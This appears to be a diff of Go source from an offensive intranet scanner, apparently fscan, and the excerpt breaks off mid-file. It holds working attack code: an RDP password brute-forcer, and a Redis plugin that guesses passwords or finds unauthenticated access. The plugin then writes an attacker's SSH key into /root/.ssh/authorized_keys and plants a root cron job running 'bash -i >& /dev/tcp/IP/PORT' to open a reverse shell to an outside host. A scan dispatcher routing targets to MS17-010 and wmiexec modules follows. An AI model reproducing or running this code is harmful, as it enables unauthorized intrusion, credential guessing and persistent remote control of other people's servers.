brlist <- Brutelist{user, pass}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := 0; i < common.BruteThread; i++ {
|
|
||||||
wg.Add(1)
|
|
||||||
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
|
|
||||||
}
|
|
||||||
|
|
||||||
close(brlist)
|
|
||||||
go func() {
|
|
||||||
wg.Wait()
|
|
||||||
signal = true
|
|
||||||
}()
|
|
||||||
for !signal {
|
|
||||||
}
|
|
||||||
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
|
|
||||||
defer wg.Done()
|
|
||||||
for one := range brlist {
|
|
||||||
if *signal == true {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
go incrNum(num, mutex)
|
|
||||||
user, pass := one.user, one.pass
|
|
||||||
flag, err := RdpConn(host, domain, user, pass, port, timeout)
|
|
||||||
if flag == true && err == nil {
|
|
||||||
var result string
|
|
||||||
if domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
*signal = true
|
|
||||||
return
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func incrNum(num *int, mutex *sync.Mutex) {
|
|
||||||
mutex.Lock()
|
|
||||||
*num = *num + 1
|
|
||||||
mutex.Unlock()
|
|
||||||
}
|
|
||||||
|
|
||||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
|
||||||
target := fmt.Sprintf("%s:%d", ip, port)
|
|
||||||
g := NewClient(target, glog.NONE)
|
|
||||||
err := g.Login(domain, user, password, timeout)
|
|
||||||
|
|
||||||
if err == nil {
|
|
||||||
return true, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
|
|
||||||
type Client struct {
|
|
||||||
Host string // ip:port
|
|
||||||
tpkt *tpkt.TPKT
|
|
||||||
x224 *x224.X224
|
|
||||||
mcs *t125.MCSClient
|
|
||||||
sec *sec.Client
|
|
||||||
pdu *pdu.Client
|
|
||||||
vnc *rfb.RFB
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
|
||||||
glog.SetLevel(logLevel)
|
|
||||||
logger := log.New(os.Stdout, "", 0)
|
|
||||||
glog.SetLogger(logger)
|
|
||||||
return &Client{
|
|
||||||
Host: host,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("[dial err] %v", err)
|
|
||||||
}
|
|
||||||
glog.Info(conn.LocalAddr().String())
|
|
||||||
|
|
||||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
|
||||||
g.x224 = x224.New(g.tpkt)
|
|
||||||
g.mcs = t125.NewMCSClient(g.x224)
|
|
||||||
g.sec = sec.NewClient(g.mcs)
|
|
||||||
g.pdu = pdu.NewClient(g.sec)
|
|
||||||
|
|
||||||
g.sec.SetUser(user)
|
|
||||||
g.sec.SetPwd(pwd)
|
|
||||||
g.sec.SetDomain(domain)
|
|
||||||
//g.sec.SetClientAutoReconnect()
|
|
||||||
|
|
||||||
g.tpkt.SetFastPathListener(g.sec)
|
|
||||||
g.sec.SetFastPathListener(g.pdu)
|
|
||||||
g.pdu.SetFastPathSender(g.tpkt)
|
|
||||||
|
|
||||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
|
|
||||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
|
|
||||||
|
|
||||||
err = g.x224.Connect()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("[x224 connect err] %v", err)
|
|
||||||
}
|
|
||||||
glog.Info("wait connect ok")
|
|
||||||
wg := &sync.WaitGroup{}
|
|
||||||
breakFlag := false
|
|
||||||
wg.Add(1)
|
|
||||||
|
|
||||||
g.pdu.On("error", func(e error) {
|
|
||||||
err = e
|
|
||||||
glog.Error("error", e)
|
|
||||||
g.pdu.Emit("done")
|
|
||||||
})
|
|
||||||
g.pdu.On("close", func() {
|
|
||||||
err = errors.New("close")
|
|
||||||
glog.Info("on close")
|
|
||||||
g.pdu.Emit("done")
|
|
||||||
})
|
|
||||||
g.pdu.On("success", func() {
|
|
||||||
err = nil
|
|
||||||
glog.Info("on success")
|
|
||||||
g.pdu.Emit("done")
|
|
||||||
})
|
|
||||||
g.pdu.On("ready", func() {
|
|
||||||
glog.Info("on ready")
|
|
||||||
g.pdu.Emit("done")
|
|
||||||
})
|
|
||||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
|
||||||
glog.Info("on update:", rectangles)
|
|
||||||
})
|
|
||||||
g.pdu.On("done", func() {
|
|
||||||
if breakFlag == false {
|
|
||||||
breakFlag = true
|
|
||||||
wg.Done()
|
|
||||||
}
|
|
||||||
})
|
|
||||||
wg.Wait()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
+135
-320
@@ -1,393 +1,208 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"bufio"
|
"bufio"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
dbfilename string
|
flag,err := RedisUnauth(info)
|
||||||
dir string
|
if flag==true && err==nil {
|
||||||
)
|
wg.Done()
|
||||||
|
<- ch
|
||||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
flag, err := RedisUnauth(info)
|
|
||||||
if flag == true && err == nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
Loop:
|
||||||
flag, err := RedisConn(info, pass)
|
for _,pass:=range common.Passwords{
|
||||||
if flag == true && err == nil {
|
pass = strings.Replace(pass, "{user}", string("redis"), -1)
|
||||||
return err
|
flag,err := RedisConn(info,pass,ch,wg)
|
||||||
} else {
|
if flag==true && err==nil {
|
||||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
break Loop
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
wg.Done()
|
||||||
return tmperr
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
if err != nil{
|
||||||
if conn != nil {
|
return flag,err
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
}
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
defer conn.Close()
|
||||||
if err != nil {
|
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
|
||||||
return flag, err
|
reply,err := readreply(conn)
|
||||||
}
|
//common.LogSuccess(result)
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
if strings.Contains(reply,"+OK"){
|
||||||
if err != nil {
|
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
reply, err := readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
if strings.Contains(reply, "+OK") {
|
|
||||||
flag = true
|
|
||||||
dbfilename, dir, err = getconfig(conn)
|
|
||||||
if err != nil {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return flag, err
|
|
||||||
} else {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
err = Expoilt(realhost, conn)
|
|
||||||
}
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
|
||||||
flag = false
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte("info\r\n"))
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
reply, err := readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
if strings.Contains(reply, "redis_version") {
|
|
||||||
flag = true
|
|
||||||
dbfilename, dir, err = getconfig(conn)
|
|
||||||
if err != nil {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return flag, err
|
|
||||||
} else {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
err = Expoilt(realhost, conn)
|
|
||||||
}
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func Expoilt(realhost string, conn net.Conn) error {
|
|
||||||
flagSsh, flagCron, err := testwrite(conn)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if flagSsh == true {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
if common.RedisFile != "" {
|
flag = true
|
||||||
writeok, text, err := writekey(conn, common.RedisFile)
|
Expoilt(info ,realhost,conn)
|
||||||
if err != nil {
|
|
||||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if writeok {
|
|
||||||
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
} else {
|
|
||||||
fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if flagCron == true {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
if common.RedisShell != "" {
|
|
||||||
writeok, text, err := writecron(conn, common.RedisShell)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if writeok {
|
|
||||||
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
} else {
|
|
||||||
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
err = recoverdb(dbfilename, dir, conn)
|
return flag,err
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
|
||||||
|
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||||
if err != nil {
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
return flag, text, err
|
if err != nil{
|
||||||
|
return flag,err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
defer conn.Close()
|
||||||
if err != nil {
|
conn.Write([]byte("info\r\n"))
|
||||||
return flag, text, err
|
reply,err := readreply(conn)
|
||||||
|
if strings.Contains(reply,"redis_version"){
|
||||||
|
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
flag = true
|
||||||
|
Expoilt(info ,realhost,conn)
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
return flag,err
|
||||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
}
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
|
||||||
|
flagSsh,flagCron := testwrite(conn)
|
||||||
|
if flagSsh == true{
|
||||||
|
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
if info.RedisFile != ""{
|
||||||
|
if writeok,text := writekey(conn,info.RedisFile);writeok{
|
||||||
|
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
}else {
|
||||||
|
fmt.Println(realhost,"SSHPUB write failed",text)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
}
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
if flagCron == true{
|
||||||
|
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
if info.RedisShell != "" {
|
||||||
|
if writeok,text := writecron(conn,info.RedisShell);writeok{
|
||||||
|
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
}else {
|
||||||
|
fmt.Println(realhost,"cron write failed",text)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
}
|
||||||
key, err := Readfile(filename)
|
}
|
||||||
if err != nil {
|
|
||||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
|
||||||
return flag, text, err
|
func writekey(conn net.Conn,filename string) (flag bool,text string) {
|
||||||
}
|
flag = false
|
||||||
if len(key) == 0 {
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
text,_ = readreply(conn)
|
||||||
return flag, text, err
|
if strings.Contains(text,"OK") {
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
text,_ = readreply(conn)
|
||||||
if err != nil {
|
if strings.Contains(text,"OK") {
|
||||||
return flag, text, err
|
key,_ := Readfile(filename)
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
|
||||||
text, err = readreply(conn)
|
text,_ = readreply(conn)
|
||||||
if err != nil {
|
if strings.Contains(text,"OK") {
|
||||||
return flag, text, err
|
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||||
}
|
text,_ = readreply(conn)
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text,"OK") {
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
text = strings.TrimSpace(text)
|
if len(text) > 50{
|
||||||
if len(text) > 50 {
|
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
return flag, text, err
|
return flag,text
|
||||||
}
|
}
|
||||||
|
|
||||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|
||||||
|
|
||||||
|
func writecron(conn net.Conn,host string) (flag bool,text string) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, text, err
|
if strings.Contains(text,"OK") {
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||||
text, err = readreply(conn)
|
text,_ = readreply(conn)
|
||||||
if err != nil {
|
if strings.Contains(text,"OK") {
|
||||||
return flag, text, err
|
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
|
||||||
if strings.Contains(text, "OK") {
|
text,_ = readreply(conn)
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
if strings.Contains(text,"OK") {
|
||||||
if err != nil {
|
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||||
return flag, text, err
|
text,_ = readreply(conn)
|
||||||
}
|
if strings.Contains(text,"OK") {
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
target := strings.Split(host, ":")
|
|
||||||
if len(target) < 2 {
|
|
||||||
return flag, "host error", err
|
|
||||||
}
|
|
||||||
scanIp, scanPort := target[0], target[1]
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
text = strings.TrimSpace(text)
|
if len(text) > 50{
|
||||||
if len(text) > 50 {
|
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
return flag, text, err
|
return flag,text
|
||||||
}
|
}
|
||||||
|
|
||||||
func Readfile(filename string) (string, error) {
|
func Readfile(filename string)(string,error){
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err!=nil{
|
||||||
return "", err
|
fmt.Println("Open %s error, %v", filename,err)
|
||||||
|
return err.Error(),err
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
|
//scanner.Split(bufio.ScanLines)
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
//text := strings.TrimSpace(scanner.Text())
|
||||||
|
text := scanner.Text()
|
||||||
if text != "" {
|
if text != "" {
|
||||||
return text, nil
|
return text,nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return "", err
|
return err.Error(),err
|
||||||
}
|
}
|
||||||
|
|
||||||
func readreply(conn net.Conn) (result string, err error) {
|
func readreply(conn net.Conn) (result string,err error) {
|
||||||
size := 5 * 1024
|
buf := make([]byte, 4096)
|
||||||
buf := make([]byte, size)
|
|
||||||
for {
|
for {
|
||||||
count, err := conn.Read(buf)
|
count, err := conn.Read(buf)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
result += string(buf[0:count])
|
result += string(buf[0:count])
|
||||||
if count < size {
|
if count < 4096 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return result, err
|
return result,err
|
||||||
}
|
}
|
||||||
|
|
||||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
|
||||||
|
flagSsh = false
|
||||||
|
flagCron = false
|
||||||
var text string
|
var text string
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, flagCron, err
|
if strings.Contains(string(text),"OK") {
|
||||||
|
flagSsh = true
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, flagCron, err
|
if strings.Contains(string(text),"OK") {
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, flagCron, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, flagCron, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flagCron = true
|
flagCron = true
|
||||||
}
|
}
|
||||||
return flag, flagCron, err
|
return flagSsh,flagCron
|
||||||
}
|
}
|
||||||
|
|
||||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text, err := readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text1 := strings.Split(text, "\r\n")
|
|
||||||
if len(text1) > 2 {
|
|
||||||
dbfilename = text1[len(text1)-2]
|
|
||||||
} else {
|
|
||||||
dbfilename = text1[0]
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text1 = strings.Split(text, "\r\n")
|
|
||||||
if len(text1) > 2 {
|
|
||||||
dir = text1[len(text1)-2]
|
|
||||||
} else {
|
|
||||||
dir = text1[0]
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
dbfilename, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
dir, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
+66
-110
@@ -1,126 +1,30 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"reflect"
|
"reflect"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
|
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||||
func Scan(info common.HostInfo) {
|
f := reflect.ValueOf(m[name])
|
||||||
fmt.Println("start infoscan")
|
if len(infos) != f.Type().NumIn() {
|
||||||
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
|
err = errors.New("The number of infos is not adapted.")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("len(hosts)==0", err)
|
fmt.Println(err.Error())
|
||||||
return
|
// //os.Exit(0)
|
||||||
}
|
|
||||||
lib.Inithttp(common.Pocinfo)
|
|
||||||
var ch = make(chan struct{}, common.Threads)
|
|
||||||
var wg = sync.WaitGroup{}
|
|
||||||
web := strconv.Itoa(common.PORTList["web"])
|
|
||||||
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
|
||||||
if len(Hosts) > 0 || len(common.HostPort) > 0 {
|
|
||||||
if common.NoPing == false && len(Hosts) > 0 {
|
|
||||||
Hosts = CheckLive(Hosts, common.Ping)
|
|
||||||
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
|
|
||||||
}
|
|
||||||
if common.Scantype == "icmp" {
|
|
||||||
common.LogWG.Wait()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
common.GC()
|
|
||||||
var AlivePorts []string
|
|
||||||
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
|
|
||||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
|
||||||
} else if common.Scantype == "hostname" {
|
|
||||||
info.Ports = "139"
|
|
||||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
|
||||||
} else if len(Hosts) > 0 {
|
|
||||||
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
|
|
||||||
fmt.Println("[*] alive ports len is:", len(AlivePorts))
|
|
||||||
if common.Scantype == "portscan" {
|
|
||||||
common.LogWG.Wait()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(common.HostPort) > 0 {
|
|
||||||
AlivePorts = append(AlivePorts, common.HostPort...)
|
|
||||||
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
|
||||||
common.HostPort = nil
|
|
||||||
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
|
|
||||||
}
|
|
||||||
common.GC()
|
|
||||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
|
||||||
for _, port := range common.PORTList {
|
|
||||||
severports = append(severports, strconv.Itoa(port))
|
|
||||||
}
|
|
||||||
fmt.Println("start vulscan")
|
|
||||||
for _, targetIP := range AlivePorts {
|
|
||||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
|
||||||
if common.Scantype == "all" || common.Scantype == "main" {
|
|
||||||
switch {
|
|
||||||
case info.Ports == "135":
|
|
||||||
AddScan(info.Ports, info, &ch, &wg) //findnet
|
|
||||||
if common.IsWmi {
|
|
||||||
AddScan("1000005", info, &ch, &wg) //wmiexec
|
|
||||||
}
|
|
||||||
case info.Ports == "445":
|
|
||||||
AddScan(ms17010, info, &ch, &wg) //ms17010
|
|
||||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
|
||||||
